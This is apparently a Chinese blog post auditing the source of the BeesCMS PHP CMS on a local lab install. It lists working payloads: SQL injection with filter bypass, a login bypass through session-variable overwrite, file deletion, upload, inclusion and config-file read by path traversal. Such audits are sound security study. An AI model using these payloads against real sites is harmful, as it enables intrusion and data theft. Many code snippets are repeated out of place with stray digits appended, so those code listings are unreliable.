beescms 安装
作者准备学习php代码审计和java代码审计,所以审计一些经典易上手的cms,并将过程记录下来。
官网下载源码并使用phpstudy安装搭建
代码审计
先看一下cnvd有哪些已经交的漏洞
文件上传,注入,包含,越权,文件读取,代码执行,csrf,文件删除,还是挺多漏洞的。
配置文件在/data/confing.php
admin/login.php后台登录页面sql注入
访问http://192.168.43.199/admin/login.php
用户名这里输入admin'会报错,如果挂xray被动扫描的话能扫出注入,手动测试也可以看出。
白盒审计一下
找到登录处的代码 /admin/login.php
if($action=='login'){
global $_sys;
include('template/admin_login.php');
}
//判断登录
elseif($action=='ck_login'){
global $submit,$user,$password,$_sys,$code;
$submit=$_POST['submit'];
$user=fl_html(fl_value($_POST['user']));
$password=fl_html(fl_value($_POST['password']));
$code=$_POST['code'];
if(!isset($submit)){
msg('请从登陆页面进入');
}
if(empty($user)||empty($password)){
msg("密码或用户名不能为空");
}
if(!empty($_sys['safe_open'])){
foreach($_sys['safe_open'] as $k=>$v){
if($v=='3'){
if($code!=$s_code){msg("验证码不正确!");}
}
}
}
check_login($user,$password);
}
user处使用fl_value和fl_html方法,跟进看一下有什么作用
function fl_value($str){
if(empty($str)){return;}
return preg_replace('/select|insert | update | and | in | on | left | joins | delete |\%|\=|\/\*|\*|\.\.\/|\.\/| union | from | where | group | into |load_file
|outfile/i','',$str);
}
define('INC_BEES','B'.'EE'.'SCMS');
function fl_html($str){
return htmlspecialchars($str);
}
fl_value是将我们传入的user值进行一个匹配,匹配到的话替换为空,这里只是匹配的话,我们可以使用双写绕过 seselectlect a and nd 这样的方式,或者大小写绕过
再看fl_html方法,是将我们输入的值进行html实体化编码,htmlspecialchars默认编码双引号,那我们使用单引号或者hex编码就好
来跟进check_login($user,$password) 这个方法
function check_login($user,$password){
$rel=$GLOBALS['mysql']->fetch_asc("select id,admin_name,admin_password,admin_purview,is_disable from ".DB_PRE."admin where admin_name='".$user."' limit 0,1");
$rel=empty($rel)?'':$rel[0];
if(empty($rel)){
msg('不存在该管理用户','login.php');
}
$password=md5($password);
if($password!=$rel['admin_password']){
msg("输入的密码不正确");
}
if($rel['is_disable']){
msg('该账号已经被锁定,无法登陆');
}
$_SESSION['admin']=$rel['admin_name'];
$_SESSION['admin_purview']=$rel['admin_purview'];
$_SESSION['admin_id']=$rel['id'];
$_SESSION['admin_time']=time();
$_SESSION['login_in']=1;
$_SESSION['login_time']=time();
$ip=fl_value(get_ip());
$ip=fl_html($ip);
$_SESSION['admin_ip']=$ip;
unset($rel);
header("location:admin.php");
}
直接将获取来的user值拼接到sql语句中查询,跟进一下fetch_asc
function fetch_asc($sql){
$result=$this->query($sql);
$arr=array();
while($rows=mysql_fetch_assoc($result)){
$arr[]=$rows;
}
mysql_free_result($result);
return $arr;
}
进行sql查询操作,跟进query函数
function query($sql){
if(!$res=@mysql_query($sql,$this->link)){
err('操作数据库失败'.mysql_error()."<br>sql:{$sql}","javascript:history.go(-1);");
}
return $res;
}
mysql进行查询,如果报错的话贴心的输出错误内容,这样就导致报错注入的产生,构造payload
admin'a and nd updatexml(1,concat(0x7e,(seselectlect database()),0x7e),1)#
当然也能写入文件getshell,网上有分析
includes/init.php 变量覆盖导致的后台登录绕过
首先看beescms后台登录的验证代码
admin/login
跟进is_login()
function is_login(){
if($_SESSION['login_in']==1&&$_SESSION['admin']){
if(time()-$_SESSION['login_time']>3600){
login_out();
}else{
$_SESSION['login_time']=time();
@session_regenerate_id();
}
return 1;
}else{
$_SESSION['admin']='';
$_SESSION['admin_purview']='';
$_SESSION['admin_id']='';
$_SESSION['admin_time']='';
$_SESSION['login_in']='';
$_SESSION['login_time']='';
$_SESSION['admin_ip']='';
return 0;
}
}
判断session中login_in是否为1并且有admin参数的传入,然后login_time>3600 的话,就算是登录了
正常情况是无法控制session的,但是分析发现很多文件都引入了includes/init.php
includes/init.php
session_start();
if (isset($_REQUEST)){$_REQUEST = fl_value($_REQUEST);}
$_COOKIE = fl_value($_COOKIE);
$_GET = fl_value($_GET);
@extract($_POST);
@extract($_GET);
@extract($_COOKIE);
这里先来补充extract()的知识
PHP extract() 函数是从数组中把变量导入到当前的符号表中。 定义和用法 对于数组中的每个元素,键名用于变量名,键值用于变量值。
先设置了session_start(),创建会话。判断是否有输入来设置了cookie,fl_value进行一些简单的过滤,使用request设置cookie,$_GET = fl_value($_GET);来过滤get请求的内容,但是没有过滤post请求,后面还都通过@extract()来引入变量,进行变量的覆盖操作,那么这样就可以post方法传递session。二者配合构造session来绕过登录限制
访问http://192.168.43.199/index.php
post传递值
_SESSION[login_in]=1&_SESSION[admin]=1&_SESSION[login_time]=8888888888888
之后访问admin/admin.php
这里发现login_time需要设置超级大的时间,要不然会显示成功退出,而且session这样的键值对需要写成_SESSION[login_in]=1 如果SESSION['login_in']=1是不行的,单引号不能加
admin/admin_ajax.php 后台sql注入
审计sql注入之前我们先看一下这句话
addslashes 在单引号(')、双引号(")、反斜线(\)与 NUL前加上反斜线 可用于防止SQL注入
mysqli::real_escape_string mysqli::escape_string mysqli_real_escape_string mysql_real_escape_string SQLite3::escapeString
以上函数会在\x00(NULL), \n, \r, , ', " 和 \x1a (CTRL-Z)前加上反斜线\ 并考虑了当前数据库连接字符集进行处理
注意: 经过以上函数处理后的字符串不可直接用于sql查询拼接 需要使用引号包裹后拼接到sql语句中 否则仍可导致sql注入
例如 上文中的例子 攻击者输入并没有使用到引号反斜线 逗号可使用其他方法绕过 仍可构成SQL注入
就是说过滤时候要使用引号包裹,要不然比如直接报错语句,也不需要用到引号
我们来看一下全局的过滤
if (!get_magic_quotes_gpc())
{
if (isset($_REQUEST))
{
$_REQUEST = addsl($_REQUEST);
}
$_COOKIE = addsl($_COOKIE);
$_POST = addsl($_POST);
$_GET = addsl($_GET);
}
接收参数,我们跟进addsl()
function addsl($value)
{
if (empty($value))
{
return $value;
}
else
{
return is_array($value) ? array_map('addsl', $value) : addslashes($value);
}
}
对于接收的参数使用addslashes()来给特殊符号加'\',但是没有使用引号包裹,这很有问题。
来看admin_ajax.php
function fl_value($str){
if(empty($str)){return;}
return preg_replace('/select|insert | update | and | in | on | left | joins | delete |\%|\=|\/\*|\*|\.\.\/|\.\/| union | from | where | group | into |load_file
|outfile/i','',$str);
}
define('INC_BEES','B'.'EE'.'SCMS');
function fl_html($str){
return htmlspecialchars($str);
}0
这里sql语句执行update操作,但是未对field这个传入的变量进行校验,除了addsl()在特殊符号前加'\'
那么我们可以构造
/admin/admin_ajax.php?action=order&table=1&field=aaa=111 or updatexml(1,concat(0x23,database()),1)--+
可以看到报错语句,那继续修改一下table,既然table选admin表,在admin表找一个不重要的字段
/admin/admin_ajax.php?action=order&table=admin&field=admin_mail=111 or updatexml(1,concat(0x23,database()),1)--+
好了
输入
http://192.168.43.199/admin/admin_ajax.php?action=order&table=admin&field=admin_mail=111 or updatexml(1,concat(0x23,database()),1)--+
admin/admin_ajax.php 任意文件删除漏洞
function fl_value($str){
if(empty($str)){return;}
return preg_replace('/select|insert | update | and | in | on | left | joins | delete |\%|\=|\/\*|\*|\.\.\/|\.\/| union | from | where | group | into |load_file
|outfile/i','',$str);
}
define('INC_BEES','B'.'EE'.'SCMS');
function fl_html($str){
return htmlspecialchars($str);
}1
看代码的时候发现了这段,上面的value值通过$value=$_REQUEST['value']; 来传入,那我一想,value可控,通过目录穿越,可以删除任意文件
构造payload
/admin/admin_ajax.php?action=del_pic&value=../1.txt
成功删除根目录下自己创建的1.txt文件
admin/admin_book.php 后台sql注入
function fl_value($str){
if(empty($str)){return;}
return preg_replace('/select|insert | update | and | in | on | left | joins | delete |\%|\=|\/\*|\*|\.\.\/|\.\/| union | from | where | group | into |load_file
|outfile/i','',$str);
}
define('INC_BEES','B'.'EE'.'SCMS');
function fl_html($str){
return htmlspecialchars($str);
}2
id传值未作任何校验,直接构造
/admin/admin_book.php?action=del&id=11 or updatexml(1,concat(0x23,database()),1)--+
下面的这个批量删除同样有问题
function fl_value($str){
if(empty($str)){return;}
return preg_replace('/select|insert | update | and | in | on | left | joins | delete |\%|\=|\/\*|\*|\.\.\/|\.\/| union | from | where | group | into |load_file
|outfile/i','',$str);
}
define('INC_BEES','B'.'EE'.'SCMS');
function fl_html($str){
return htmlspecialchars($str);
}3
没能成功构造,所以只能找功能点抓一下包了
function fl_value($str){
if(empty($str)){return;}
return preg_replace('/select|insert | update | and | in | on | left | joins | delete |\%|\=|\/\*|\*|\.\.\/|\.\/| union | from | where | group | into |load_file
|outfile/i','',$str);
}
define('INC_BEES','B'.'EE'.'SCMS');
function fl_html($str){
return htmlspecialchars($str);
}4
抓到的包如下,我们修改all%5B%5D=1 or updatexml(1,concat(0x23,database()),1)--+
不抓包的话我根本不知道还有个lang参数
admin/admin_channel.php sql注入
function fl_value($str){
if(empty($str)){return;}
return preg_replace('/select|insert | update | and | in | on | left | joins | delete |\%|\=|\/\*|\*|\.\.\/|\.\/| union | from | where | group | into |load_file
|outfile/i','',$str);
}
define('INC_BEES','B'.'EE'.'SCMS');
function fl_html($str){
return htmlspecialchars($str);
}5
function fl_value($str){
if(empty($str)){return;}
return preg_replace('/select|insert | update | and | in | on | left | joins | delete |\%|\=|\/\*|\*|\.\.\/|\.\/| union | from | where | group | into |load_file
|outfile/i','',$str);
}
define('INC_BEES','B'.'EE'.'SCMS');
function fl_html($str){
return htmlspecialchars($str);
}6
上面传入$cate_id = $_GET['cate_id']; 这个cate_id,然后下面query("delete from ".DB_PRE."category where cate_parent=".$cate_id)
我们直接构造
/admin/admin_channel.php?action=del_channel&step=3
发现报错
拼接我们可控的cate_id
/admin/admin_channel.php?action=del_channel&step=3&cate_id=111 or updatexml(1,concat(0x23,database()),1)--+
admin/category.php 后台sql注入
function fl_value($str){
if(empty($str)){return;}
return preg_replace('/select|insert | update | and | in | on | left | joins | delete |\%|\=|\/\*|\*|\.\.\/|\.\/| union | from | where | group | into |load_file
|outfile/i','',$str);
}
define('INC_BEES','B'.'EE'.'SCMS');
function fl_html($str){
return htmlspecialchars($str);
}7
观察parent从哪里传入
直接最上面全局传入
构造
http://192.168.43.199/admin/admin_catagory.php?action=child&channel_id=111&parent=1111%20or%20updatexml(1,concat(0x23,database()),1)--+
admin/upload.php 后台文件上传
全局搜索move_uploaded_file()
function fl_value($str){
if(empty($str)){return;}
return preg_replace('/select|insert | update | and | in | on | left | joins | delete |\%|\=|\/\*|\*|\.\.\/|\.\/| union | from | where | group | into |load_file
|outfile/i','',$str);
}
define('INC_BEES','B'.'EE'.'SCMS');
function fl_html($str){
return htmlspecialchars($str);
}8
发现上传函数up_img只对文件类型做了校验,之后就进行上传
function fl_value($str){
if(empty($str)){return;}
return preg_replace('/select|insert | update | and | in | on | left | joins | delete |\%|\=|\/\*|\*|\.\.\/|\.\/| union | from | where | group | into |load_file
|outfile/i','',$str);
}
define('INC_BEES','B'.'EE'.'SCMS');
function fl_html($str){
return htmlspecialchars($str);
}9
那么file_type这个字段是MIME类型,我们抓包可以修改,所有此处文件上传存在问题,看一下谁调用了这个方法
admin/upload.php处的上传,限定mime类型为这几种
function check_login($user,$password){
$rel=$GLOBALS['mysql']->fetch_asc("select id,admin_name,admin_password,admin_purview,is_disable from ".DB_PRE."admin where admin_name='".$user."' limit 0,1");
$rel=empty($rel)?'':$rel[0];
if(empty($rel)){
msg('不存在该管理用户','login.php');
}
$password=md5($password);
if($password!=$rel['admin_password']){
msg("输入的密码不正确");
}
if($rel['is_disable']){
msg('该账号已经被锁定,无法登陆');
}
$_SESSION['admin']=$rel['admin_name'];
$_SESSION['admin_purview']=$rel['admin_purview'];
$_SESSION['admin_id']=$rel['id'];
$_SESSION['admin_time']=time();
$_SESSION['login_in']=1;
$_SESSION['login_time']=time();
$ip=fl_value(get_ip());
$ip=fl_html($ip);
$_SESSION['admin_ip']=$ip;
unset($rel);
header("location:admin.php");
}0
这里只需要上传时修改mime类型就行
成功上传。
admin/channel.php文件包含漏洞
seay审计
function check_login($user,$password){
$rel=$GLOBALS['mysql']->fetch_asc("select id,admin_name,admin_password,admin_purview,is_disable from ".DB_PRE."admin where admin_name='".$user."' limit 0,1");
$rel=empty($rel)?'':$rel[0];
if(empty($rel)){
msg('不存在该管理用户','login.php');
}
$password=md5($password);
if($password!=$rel['admin_password']){
msg("输入的密码不正确");
}
if($rel['is_disable']){
msg('该账号已经被锁定,无法登陆');
}
$_SESSION['admin']=$rel['admin_name'];
$_SESSION['admin_purview']=$rel['admin_purview'];
$_SESSION['admin_id']=$rel['id'];
$_SESSION['admin_time']=time();
$_SESSION['login_in']=1;
$_SESSION['login_time']=time();
$ip=fl_value(get_ip());
$ip=fl_html($ip);
$_SESSION['admin_ip']=$ip;
unset($rel);
header("location:admin.php");
}1
看了一下就是post传递文件名,如果在/data/backup下面有这个文件,就进行包含,测试发现可以目录穿越,那么就可以包含任意php文件。
我并没有直接构造,而是查找漏洞的触发点在哪
发现在admin_channel.php-导入字段这里就是backup,需要我们输入路径,然后我在上级目录写了一个phpinfo.php文件,通过../phpinfo这样的方式来包含
成功显示phpinfo页面
数据包
function check_login($user,$password){
$rel=$GLOBALS['mysql']->fetch_asc("select id,admin_name,admin_password,admin_purview,is_disable from ".DB_PRE."admin where admin_name='".$user."' limit 0,1");
$rel=empty($rel)?'':$rel[0];
if(empty($rel)){
msg('不存在该管理用户','login.php');
}
$password=md5($password);
if($password!=$rel['admin_password']){
msg("输入的密码不正确");
}
if($rel['is_disable']){
msg('该账号已经被锁定,无法登陆');
}
$_SESSION['admin']=$rel['admin_name'];
$_SESSION['admin_purview']=$rel['admin_purview'];
$_SESSION['admin_id']=$rel['id'];
$_SESSION['admin_time']=time();
$_SESSION['login_in']=1;
$_SESSION['login_time']=time();
$ip=fl_value(get_ip());
$ip=fl_html($ip);
$_SESSION['admin_ip']=$ip;
unset($rel);
header("location:admin.php");
}2
admin/admin_template.php 后台任意文件读取
function check_login($user,$password){
$rel=$GLOBALS['mysql']->fetch_asc("select id,admin_name,admin_password,admin_purview,is_disable from ".DB_PRE."admin where admin_name='".$user."' limit 0,1");
$rel=empty($rel)?'':$rel[0];
if(empty($rel)){
msg('不存在该管理用户','login.php');
}
$password=md5($password);
if($password!=$rel['admin_password']){
msg("输入的密码不正确");
}
if($rel['is_disable']){
msg('该账号已经被锁定,无法登陆');
}
$_SESSION['admin']=$rel['admin_name'];
$_SESSION['admin_purview']=$rel['admin_purview'];
$_SESSION['admin_id']=$rel['id'];
$_SESSION['admin_time']=time();
$_SESSION['login_in']=1;
$_SESSION['login_time']=time();
$ip=fl_value(get_ip());
$ip=fl_html($ip);
$_SESSION['admin_ip']=$ip;
unset($rel);
header("location:admin.php");
}3
发现模板修改界面的路径是接收file参数,如果存在的话就读取。来找一下这个功能点
点击修改
发现找对地方了,在修改处抓包
将file的值构造成我们想要读取的文件
function check_login($user,$password){
$rel=$GLOBALS['mysql']->fetch_asc("select id,admin_name,admin_password,admin_purview,is_disable from ".DB_PRE."admin where admin_name='".$user."' limit 0,1");
$rel=empty($rel)?'':$rel[0];
if(empty($rel)){
msg('不存在该管理用户','login.php');
}
$password=md5($password);
if($password!=$rel['admin_password']){
msg("输入的密码不正确");
}
if($rel['is_disable']){
msg('该账号已经被锁定,无法登陆');
}
$_SESSION['admin']=$rel['admin_name'];
$_SESSION['admin_purview']=$rel['admin_purview'];
$_SESSION['admin_id']=$rel['id'];
$_SESSION['admin_time']=time();
$_SESSION['login_in']=1;
$_SESSION['login_time']=time();
$ip=fl_value(get_ip());
$ip=fl_html($ip);
$_SESSION['admin_ip']=$ip;
unset($rel);
header("location:admin.php");
}4
成功读取数据库配置文件
参考网上的文章和自己分析代码审计出了目前的这些漏洞,其它漏洞还没审计出来,如果有更多好的思路欢迎师傅们来讨论交流
beescms.zip (4.775 MB) 下载附件
还没有评论,来说两句吧...